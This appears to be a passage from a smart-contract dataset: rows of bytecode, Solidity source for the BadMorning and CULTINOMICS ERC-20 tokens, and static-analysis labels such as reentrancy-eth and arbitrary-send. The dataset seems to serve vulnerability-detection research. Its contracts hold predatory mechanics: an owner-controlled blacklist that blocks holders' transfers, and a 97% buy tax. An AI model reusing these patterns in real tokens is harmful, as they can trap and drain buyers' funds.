ffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613af757613ab383600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138cf90919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b613b1182600a5461388590919063ffffffff16565b600a81905550613b2c81600b546138cf90919063ffffffff16565b600b819055505050565b600080600080613b626064613b54888a61278190919063ffffffff16565b61280790919063ffffffff16565b90506000613b8c6064613b7e888b61278190919063ffffffff16565b61280790919063ffffffff16565b90506000613bb582613ba7858c61388590919063ffffffff16565b61388590919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080613be5858961278190919063ffffffff16565b90506000613bfc868961278190919063ffffffff16565b90506000613c13878961278190919063ffffffff16565b90506000613c3c82613c2e858761388590919063ffffffff16565b61388590919063ffffffff16565b905083818496509650965050505050945094509491505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220039255816a2ca3df02167366a4f1adacaab564cc6137530be40fc9ff743f53c264736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 6,002 |
0x35D38E9c82ee6667e83Dc1c96eeF2F811d58fE57
|
/**
*Submitted for verification at Etherscan.io on 2021-11-12
*/
/*
___ _ ___ ___ __ __ _____ __ ___
/ __\ /_\ / \ /\/\ /___\/__\ /\ \ \\_ \/\ \ \/ _ \
/__\// //_\\ / /\ / / \ // // \// / \/ / / /\/ \/ / /_\/
/ \/ \/ _ \/ /_// / /\/\ \/ \_// _ \/ /\ /\/ /_/ /\ / /_\\
\_____/\_/ \_/___,' \/ \/\___/\/ \_/\_\ \/\____/\_\ \/\____/
Socials:
TG: t.me/BadMorningETH
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BadMorning is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
string private constant _name = "BadMorning";
string private constant _symbol = "BM";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(0x5D356A5E5A839E48999d3C0FF73B4dC589A490D0);
_feeAddrWallet2 = payable(0x5D356A5E5A839E48999d3C0FF73B4dC589A490D0);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 2;
_feeAddr2 = 8;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 2;
_feeAddr2 = 10;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 50000000000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101025760003560e01c806370a0823111610095578063a9059cbb11610064578063a9059cbb146102c7578063b515566a146102e7578063c3c8cd8014610307578063c9567bf91461031c578063dd62ed3e1461033157600080fd5b806370a082311461023f578063715018a61461025f5780638da5cb5b1461027457806395d89b411461029c57600080fd5b8063273123b7116100d1578063273123b7146101cc578063313ce567146101ee5780635932ead11461020a5780636fc3eaec1461022a57600080fd5b806306fdde031461010e578063095ea7b31461015357806318160ddd1461018357806323b872dd146101ac57600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b5060408051808201909152600a8152694261644d6f726e696e6760b01b60208201525b60405161014a91906117c6565b60405180910390f35b34801561015f57600080fd5b5061017361016e366004611666565b610377565b604051901515815260200161014a565b34801561018f57600080fd5b506b033b2e3c9fd0803ce80000005b60405190815260200161014a565b3480156101b857600080fd5b506101736101c7366004611625565b61038e565b3480156101d857600080fd5b506101ec6101e73660046115b2565b6103f7565b005b3480156101fa57600080fd5b506040516009815260200161014a565b34801561021657600080fd5b506101ec61022536600461175e565b61044b565b34801561023657600080fd5b506101ec610493565b34801561024b57600080fd5b5061019e61025a3660046115b2565b6104c0565b34801561026b57600080fd5b506101ec6104e2565b34801561028057600080fd5b506000546040516001600160a01b03909116815260200161014a565b3480156102a857600080fd5b50604080518082019091526002815261424d60f01b602082015261013d565b3480156102d357600080fd5b506101736102e2366004611666565b610556565b3480156102f357600080fd5b506101ec610302366004611692565b610563565b34801561031357600080fd5b506101ec6105f9565b34801561032857600080fd5b506101ec61062f565b34801561033d57600080fd5b5061019e61034c3660046115ec565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103843384846109f8565b5060015b92915050565b600061039b848484610b1c565b6103ed84336103e8856040518060600160405280602881526020016119b2602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610e69565b6109f8565b5060019392505050565b6000546001600160a01b0316331461042a5760405162461bcd60e51b81526004016104219061181b565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146104755760405162461bcd60e51b81526004016104219061181b565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b600c546001600160a01b0316336001600160a01b0316146104b357600080fd5b476104bd81610ea3565b50565b6001600160a01b03811660009081526002602052604081205461038890610f28565b6000546001600160a01b0316331461050c5760405162461bcd60e51b81526004016104219061181b565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610384338484610b1c565b6000546001600160a01b0316331461058d5760405162461bcd60e51b81526004016104219061181b565b60005b81518110156105f5576001600660008484815181106105b1576105b1611962565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806105ed81611931565b915050610590565b5050565b600c546001600160a01b0316336001600160a01b03161461061957600080fd5b6000610624306104c0565b90506104bd81610fac565b6000546001600160a01b031633146106595760405162461bcd60e51b81526004016104219061181b565b600f54600160a01b900460ff16156106b35760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610421565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106f330826b033b2e3c9fd0803ce80000006109f8565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561072c57600080fd5b505afa158015610740573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061076491906115cf565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107ac57600080fd5b505afa1580156107c0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107e491906115cf565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561082c57600080fd5b505af1158015610840573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061086491906115cf565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d7194730610894816104c0565b6000806108a96000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561090c57600080fd5b505af1158015610920573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906109459190611798565b5050600f80546a295be96e6406697200000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b1580156109c057600080fd5b505af11580156109d4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105f5919061177b565b6001600160a01b038316610a5a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610421565b6001600160a01b038216610abb5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610421565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b805760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610421565b6001600160a01b038216610be25760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610421565b60008111610c445760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610421565b6002600a556008600b556000546001600160a01b03848116911614801590610c7a57506000546001600160a01b03838116911614155b15610e59576001600160a01b03831660009081526006602052604090205460ff16158015610cc157506001600160a01b03821660009081526006602052604090205460ff16155b610cca57600080fd5b600f546001600160a01b038481169116148015610cf55750600e546001600160a01b03838116911614155b8015610d1a57506001600160a01b03821660009081526005602052604090205460ff16155b8015610d2f5750600f54600160b81b900460ff165b15610d8c57601054811115610d4357600080fd5b6001600160a01b0382166000908152600760205260409020544211610d6757600080fd5b610d7242601e6118c1565b6001600160a01b0383166000908152600760205260409020555b600f546001600160a01b038381169116148015610db75750600e546001600160a01b03848116911614155b8015610ddc57506001600160a01b03831660009081526005602052604090205460ff16155b15610dec576002600a908155600b555b6000610df7306104c0565b600f54909150600160a81b900460ff16158015610e225750600f546001600160a01b03858116911614155b8015610e375750600f54600160b01b900460ff165b15610e5757610e4581610fac565b478015610e5557610e5547610ea3565b505b505b610e64838383611135565b505050565b60008184841115610e8d5760405162461bcd60e51b815260040161042191906117c6565b506000610e9a848661191a565b95945050505050565b600c546001600160a01b03166108fc610ebd836002611140565b6040518115909202916000818181858888f19350505050158015610ee5573d6000803e3d6000fd5b50600d546001600160a01b03166108fc610f00836002611140565b6040518115909202916000818181858888f193505050501580156105f5573d6000803e3d6000fd5b6000600854821115610f8f5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610421565b6000610f99611182565b9050610fa58382611140565b9392505050565b600f805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610ff457610ff4611962565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561104857600080fd5b505afa15801561105c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061108091906115cf565b8160018151811061109357611093611962565b6001600160a01b039283166020918202929092010152600e546110b991309116846109f8565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906110f2908590600090869030904290600401611850565b600060405180830381600087803b15801561110c57600080fd5b505af1158015611120573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b610e648383836111a5565b6000610fa583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061129c565b600080600061118f6112ca565b909250905061119e8282611140565b9250505090565b6000806000806000806111b787611312565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506111e9908761136f565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461121890866113b1565b6001600160a01b03891660009081526002602052604090205561123a81611410565b611244848361145a565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161128991815260200190565b60405180910390a3505050505050505050565b600081836112bd5760405162461bcd60e51b815260040161042191906117c6565b506000610e9a84866118d9565b60085460009081906b033b2e3c9fd0803ce80000006112e98282611140565b821015611309575050600854926b033b2e3c9fd0803ce800000092509050565b90939092509050565b600080600080600080600080600061132f8a600a54600b5461147e565b925092509250600061133f611182565b905060008060006113528e8787876114d3565b919e509c509a509598509396509194505050505091939550919395565b6000610fa583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e69565b6000806113be83856118c1565b905083811015610fa55760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610421565b600061141a611182565b905060006114288383611523565b3060009081526002602052604090205490915061144590826113b1565b30600090815260026020526040902055505050565b600854611467908361136f565b60085560095461147790826113b1565b6009555050565b600080808061149860646114928989611523565b90611140565b905060006114ab60646114928a89611523565b905060006114c3826114bd8b8661136f565b9061136f565b9992985090965090945050505050565b60008080806114e28886611523565b905060006114f08887611523565b905060006114fe8888611523565b90506000611510826114bd868661136f565b939b939a50919850919650505050505050565b60008261153257506000610388565b600061153e83856118fb565b90508261154b85836118d9565b14610fa55760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610421565b80356115ad8161198e565b919050565b6000602082840312156115c457600080fd5b8135610fa58161198e565b6000602082840312156115e157600080fd5b8151610fa58161198e565b600080604083850312156115ff57600080fd5b823561160a8161198e565b9150602083013561161a8161198e565b809150509250929050565b60008060006060848603121561163a57600080fd5b83356116458161198e565b925060208401356116558161198e565b929592945050506040919091013590565b6000806040838503121561167957600080fd5b82356116848161198e565b946020939093013593505050565b600060208083850312156116a557600080fd5b823567ffffffffffffffff808211156116bd57600080fd5b818501915085601f8301126116d157600080fd5b8135818111156116e3576116e3611978565b8060051b604051601f19603f8301168101818110858211171561170857611708611978565b604052828152858101935084860182860187018a101561172757600080fd5b600095505b838610156117515761173d816115a2565b85526001959095019493860193860161172c565b5098975050505050505050565b60006020828403121561177057600080fd5b8135610fa5816119a3565b60006020828403121561178d57600080fd5b8151610fa5816119a3565b6000806000606084860312156117ad57600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b818110156117f3578581018301518582016040015282016117d7565b81811115611805576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118a05784516001600160a01b03168352938301939183019160010161187b565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156118d4576118d461194c565b500190565b6000826118f657634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156119155761191561194c565b500290565b60008282101561192c5761192c61194c565b500390565b60006000198214156119455761194561194c565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146104bd57600080fd5b80151581146104bd57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212203b0f5aaebc0559075986355bf52107854bf75dca1b4033f12ba724a9a9de684f64736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 6,003 |
0xf9a241a74c0fb26391e5e9698e188ce7c6dd916c
|
/**
Telegram: https://t.me/Cultinomics
*/
/**
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract CULTINOMICS is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "CULTINOMICS";
string private constant _symbol = "CULTINOMICS";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 1;
uint256 private _taxFeeOnBuy = 97;
uint256 private _redisFeeOnSell = 1;
uint256 private _taxFeeOnSell = 11;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0x47D544287f330165f5dBCfd3C7061Fc11b1Ea5aF);
address payable private _marketingAddress = payable(0x47D544287f330165f5dBCfd3C7061Fc11b1Ea5aF);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 1000000000 * 10**9;
uint256 public _maxWalletSize = 20000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
